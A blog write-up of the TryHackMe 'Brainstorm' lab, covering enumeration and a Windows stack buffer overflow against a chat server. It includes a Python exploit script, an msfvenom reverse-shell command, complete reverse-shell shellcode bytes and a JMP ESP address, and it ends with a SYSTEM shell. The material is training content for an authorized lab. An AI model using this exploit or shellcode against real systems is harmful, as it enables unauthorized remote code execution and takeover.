TryHackMe - Brainstorm



Brainstorm is a TryHackMe room that consists in reversing a chat program and exploiting a buffer overflow on a remote Windows machine.

Enumeration

1
2
3
4
5
$ nmap -Pn -oN ports.txt 10.10.70.196
PORT     STATE SERVICE
21/tcp   open  ftp
3389/tcp open  ms-wbt-server
9999/tcp open  abyss

FTP (port 21)

We can login anonymously with ftp. As we can see there is a folder called chatserver which contains two files:

  1. chatserver.exe
  2. essfunc.dll

At this point, I downloaded the two files using put <filename>. Then I tried to run chatserver.exe with wine but it didn’t worked. I also tried to execute it from a Windows VM.


In the screenshot below, we can see that the files downloaded with put and the files downloaded with prompt OFF; binary; mget * do not have the same MD5 hash:



Afterward, I was able to run the .exe from a Windows 10 virtual machine.

Exploitation

I executed chatserver.exe on a local Windows virtual machine and attached it to x32dbg to find a potential buffer overflow.

I wanted to use x64dbg / x32dbg for many reasons: @sebdraven recommended me this tool a few years ago to start reverse engineering, it’s open-source and maintained by a community, the tool also supports x64 debugging (unlike Immunity Debugger) and it doesn’t require a pro license (unlike WinDBG or IDA pro).

For stack-based buffer overflow exploitation, we usually follow four main steps to identify and exploit the buffer overflow vulnerability:

  1. Fuzzing the application
  2. Controlling EIP (calculating the offset)
  3. Identifying Bad Characters
  4. Finding a Return Instruction (like JMP ESP or CALL ESP for instance)
  5. Jumping to Shellcode (if security mechanisms such as DEP are disabled) 
In order to perform all these steps, I use an exploit script skeleton:

#!/usr/bin/python3

import socket
import sys
from struct import pack

TARGET = "127.0.0.1"
PORT = 8888
OFFSET = 1337 # /usr/bin/msf-pattern_offset -q VALUE

def send_payload(payload, debug=False):
  try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, PORT))
    if debug:
      breakpoint()
    s.send(payload)
    s.close()
  except:
    print("Could not establish a connection")
    sys.exit(0)

def fuzz():
  for i in range(0, 10000, 500):  # incrementing by 500 at each iteration
    buffer = b"A" * i
    print("Fuzzing %s bytes" % i)
    send_payload(buffer, debug=True)

def eip_offset():
  # /usr/bin/msf-pattern_create -l VALUE
  pattern = bytes("", "utf-8")

  send_payload(pattern)

def eip_control():
  buffer = b"A" * OFFSET
  eip = b"B" * 4
  payload = buffer + eip

  send_payload(payload)

def bad_chars():
  all_chars = bytes([
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
    0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
    0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
    0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
    0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
    0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
    0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
    0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
    0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
    0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
    0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
    0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
    0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
    0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
    0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
    0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
    0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
    0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
    0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
    0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
    0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
    0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
    0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
    0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
    0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
    0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
    0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
    0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
    0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
    0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
    0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF
  ])

  buffer = b"A" * OFFSET
  eip = b"B" * 4
  payload = buffer + eip + all_chars

  send_payload(payload)

def exploit():
  # msfvenom -p 'windows/shell_reverse_tcp' LHOST=OUR_IP LPORT=OUR_LISTENING_PORT 
    EXITFUNC=thread -f 'python' --bad-chars "\x00" --var-name shellcode
  shellcode = b""
  buffer = b"A" * OFFSET
  eip = pack("<L", 0x0069D2E5) # jmp_esp
  nop = b"\x90" * 32
  payload = buffer + eip + nop + shellcode

  send_payload(payload)

#fuzz()
#eip_offset()
#eip_control()
#bad_chars()
#exploit()



I will try to exploit this program locally and then run my exploit script directly on the target machine.

Jumping to shell code

We got everything to exploit our program:

  • we calculated the offset (2012)
  • we identified all bad characters (there were none, except 0x00)
  • we found a JMP ESP instruction (0x625014DF)
  • we can generate a shell code with msfvenom:
$ msfvenom -p 'windows/shell_reverse_tcp' LHOST=$(vpnip) LPORT=443 -f 'python' 
--bad-chars="\x00" --var-name shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
...

Before adding this shellcode to our exploit script, we need to prepend it with NOP (No Operation) bytes (machine code 0x90). This is to prevent some issues with Stack Frame and Stack Alignment.

In fact, by the time our JMP ESP instruction is executed, ESP (top of the stack) may have moved slightly and the first few bytes of our shell code may get skipped, which will lead failing the exploitation.

Adding 32 bytes of NOP before our shell code should guarantee that the execution starts somewhere within these bytes, and continue to execute our main shell code.

def exploit():
  # msfvenom -p 'windows/shell_reverse_tcp' LHOST=$(vpnip) LPORT=443 -f 'python' --bad-chars="\x00" --var-name shellcode
  shellcode =  b""
  shellcode += b"\xbd\xad\xe4\xf5\xa1\xdb\xce\xd9\x74\x24\xf4"
  shellcode += b"\x5b\x2b\xc9\xb1\x52\x31\x6b\x12\x03\x6b\x12"
  shellcode += b"\x83\x46\x18\x17\x54\x64\x09\x5a\x97\x94\xca"
  shellcode += b"\x3b\x11\x71\xfb\x7b\x45\xf2\xac\x4b\x0d\x56"
  shellcode += b"\x41\x27\x43\x42\xd2\x45\x4c\x65\x53\xe3\xaa"
  shellcode += b"\x48\x64\x58\x8e\xcb\xe6\xa3\xc3\x2b\xd6\x6b"
  shellcode += b"\x16\x2a\x1f\x91\xdb\x7e\xc8\xdd\x4e\x6e\x7d"
  shellcode += b"\xab\x52\x05\xcd\x3d\xd3\xfa\x86\x3c\xf2\xad"
  shellcode += b"\x9d\x66\xd4\x4c\x71\x13\x5d\x56\x96\x1e\x17"
  shellcode += b"\xed\x6c\xd4\xa6\x27\xbd\x15\x04\x06\x71\xe4"
  shellcode += b"\x54\x4f\xb6\x17\x23\xb9\xc4\xaa\x34\x7e\xb6"
  shellcode += b"\x70\xb0\x64\x10\xf2\x62\x40\xa0\xd7\xf5\x03"
  shellcode += b"\xae\x9c\x72\x4b\xb3\x23\x56\xe0\xcf\xa8\x59"
  shellcode += b"\x26\x46\xea\x7d\xe2\x02\xa8\x1c\xb3\xee\x1f"
  shellcode += b"\x20\xa3\x50\xff\x84\xa8\x7d\x14\xb5\xf3\xe9"
  shellcode += b"\xd9\xf4\x0b\xea\x75\x8e\x78\xd8\xda\x24\x16"
  shellcode += b"\x50\x92\xe2\xe1\x97\x89\x53\x7d\x66\x32\xa4"
  shellcode += b"\x54\xad\x66\xf4\xce\x04\x07\x9f\x0e\xa8\xd2"
  shellcode += b"\x30\x5e\x06\x8d\xf0\x0e\xe6\x7d\x99\x44\xe9"
  shellcode += b"\xa2\xb9\x67\x23\xcb\x50\x92\xa4\xfe\xaf\xbf"
  shellcode += b"\xa7\x97\xad\xbf\xc6\xdc\x3b\x59\xa2\x32\x6a"
  shellcode += b"\xf2\x5b\xaa\x37\x88\xfa\x33\xe2\xf5\x3d\xbf"
  shellcode += b"\x01\x0a\xf3\x48\x6f\x18\x64\xb9\x3a\x42\x23"
  shellcode += b"\xc6\x90\xea\xaf\x55\x7f\xea\xa6\x45\x28\xbd"
  shellcode += b"\xef\xb8\x21\x2b\x02\xe2\x9b\x49\xdf\x72\xe3"
  shellcode += b"\xc9\x04\x47\xea\xd0\xc9\xf3\xc8\xc2\x17\xfb"
  shellcode += b"\x54\xb6\xc7\xaa\x02\x60\xae\x04\xe5\xda\x78"
  shellcode += b"\xfa\xaf\x8a\xfd\x30\x70\xcc\x01\x1d\x06\x30"
  shellcode += b"\xb3\xc8\x5f\x4f\x7c\x9d\x57\x28\x60\x3d\x97"
  shellcode += b"\xe3\x20\x4d\xd2\xa9\x01\xc6\xbb\x38\x10\x8b"
  shellcode += b"\x3b\x97\x57\xb2\xbf\x1d\x28\x41\xdf\x54\x2d"
  shellcode += b"\x0d\x67\x85\x5f\x1e\x02\xa9\xcc\x1f\x07"

  buffer = b"A" * OFFSET
  eip = pack("<L", 0x625014DF) # jmp_esp
  nop = b"\x90" * 32
  payload = buffer + eip + nop + shellcode

  send_payload(payload)

Now we have to replace the IP address of the target, we execute our script again and we got a shell as system:



Useful links

Comments

Popular posts from this blog

HackTheBox - Grandpa

HackTheBox - Remote